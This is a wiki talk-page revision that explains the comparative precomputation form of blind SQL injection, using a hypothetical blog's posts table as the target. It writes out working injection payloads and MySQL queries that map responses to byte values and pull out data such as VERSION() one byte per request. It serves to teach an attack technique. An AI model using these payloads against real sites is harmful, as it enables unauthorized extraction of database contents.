Difference between revisions of "Talk:SQL injection/Blind/Comparative precomputation"

Revision as of 22:46, 20 November 2012

The conceptual aspect of the comparative precomputation attack can be hard to grasp, so let's go through a hypothetical scenario involving a blog. This particular blog has a bunch of posts in a table that looks like the following:

 
mysql> SELECT * FROM posts;
+---------+----------------+
| post_id | post           |
+---------+----------------+
|       1 | Post 1         |
|       3 | Post 3         |
|     ... | <ROWS omitted> |
|     880 | Post 880       |
+---------+----------------+
 

As you can see, the post_ids are non-sequential, but there are at least 256 post containing rows. Now suppose we have some vulnerable PHP that allows us a boolean injection involving the post_id parameter. We could go through the traditional way of using boolean enumeration to get endless true/false responses and eventually piece together the data, or, we could take advantage of the existing table structure to speed up this process and grab more data with each request.

The underlying premise of this attack is that the server will send us different responses for each possible value of a single byte that we request. To clarify: We know that the server has at least 256 different responses--one for each post. Each post will be assigned a value (0-255). Then, as we request data from the server (e.g., VERSION()) we'll iterate over each byte in the response. Depending on which post loads, we'll be able to use the hash table to determine the value of the byte that was requested. Thus, the first step is to request all 256 posts so that we can create our hash table.

You may have noticed that the post_ids are not sequential in the database, so the first problem becomes mapping them to incremental numbers. In MySQL, this involves using a local variable and incrementing it. In MSSQL, you could use the ROW_NUMBER() functionality to achieve the same thing.

 
mysql> SELECT post_id,@r:=@r+1 AS pos FROM posts c JOIN (SELECT @r:=-1) r LIMIT 256;
+---------+------+
| post_id | pos  |
+---------+------+
|       1 |    0 |
|       3 |    1 |
|     ... |  ... |
|     712 |  255 |
+---------+------+
 

As you can see from the previous query, even though the post_ids aren't sequential, we've created a mapping to a series of sequential integers. This is important because as we start iterating over the bytes in the data that we're interested in, they're going to be returned as numeric values between 0 and 255. Without this mapping, the value could be a post_id that doesn't exist, in which case the site wouldn't return a unique page for hashing.

As an example, we'll go through requesting the value of VERSION(). The very first thing that needs to be done is the construction of the hash table mapping pages to bytes. To generate this table, you would make a series of incremented requests using the injected query:

page.php?id=(SELECT post_id FROM (SELECT post_id,@r:=@r+1 AS pos FROM posts p JOIN (SELECT @r:=-1) r LIMIT 256) x WHERE pos=0) page.php?id=(SELECT post_id FROM (SELECT post_id,@r:=@r+1 AS pos FROM posts p JOIN (SELECT @r:=-1) r LIMIT 256) x WHERE pos=1) ... page.php?id=(SELECT post_id FROM (SELECT post_id,@r:=@r+1 AS pos FROM posts p JOIN (SELECT @r:=-1) r LIMIT 256) x WHERE pos=255)

The resulting HTML from each of these requests gets put into a hash table, the hashed HTML as the key and the value of "pos" as the value. It'd look something like:

 
mysql> SELECT CONCAT('SHA2(\'',post,'\',256)') AS func,SHA2(post,256) AS hash,@c:=@c+1 FROM posts JOIN (SELECT @c:=-1) r LIMIT 256;
+----------------------+------------------------------------------------------------------+----------+
| func                 | hash                                                             | @c:=@c+1 |
+----------------------+------------------------------------------------------------------+----------+
| SHA2('Post 1',256)   | 0c4c63124d05a17d30040af253185c5e31389e35c1c4d3b177b176ebdfc9b5d0 |        0 |
| SHA2('Post 3',256)   | 5ab94a85a47494c0e9e7143f58428550b1dd69ed8ab62be2929ddf87ac5df559 |        1 |
  ..........
| SHA2('Post 712',256) | 4516561109697569e7dfb81f63bb8b5d148e79ecf0ff44e498e626aa38b27382 |      255 |
+----------------------+------------------------------------------------------------------+----------+
 
mysql> SELECT VERSION();
+-----------------+
| VERSION()       |
+-----------------+
| 5.5.27-0ubuntu2 |
+-----------------+
 

What we eventually want to see is 5.5.27-0ubuntu2, but because we only have a blind injection, the server isn't just giving up the info. We have to request it piecemeal based on the responses to our injected query.

 
mysql> SELECT * FROM posts WHERE post_id = (SELECT post_id FROM (SELECT post_id,@r:=@r+1 AS pos FROM posts p JOIN (SELECT @r:=-1) r LIMIT 256) x WHERE pos=ASCII(SUBSTRING(VERSION(),1,1)));
+---------+----------+
| post_id | post     |
+---------+----------+
|     509 | Post 509 |
+---------+----------+
1 ROW IN SET (0.01 sec)
 

The query above asks for the first byte of VERSION(), converts it to its ASCII value, and then using the post_id to incremental number mapping determines that the post_id to display is 509. Because we've precomputed the hashes of pages with post_ids 1-712, corresponding to positions 0-255, when we request the byte from the server, it returns the page corresponding to the ASCII value of that byte. In this case, it returns the post with ID 509. We then hash the HTML returned and look up the value in the hash table. It corresponds to position 53, so the first character in VERSION() is a '5'.

By iterating up through the length of VERSION(), you can request its value a byte at a time--a vast improvement over the traditional bit retrieved by standard boolean enumeration.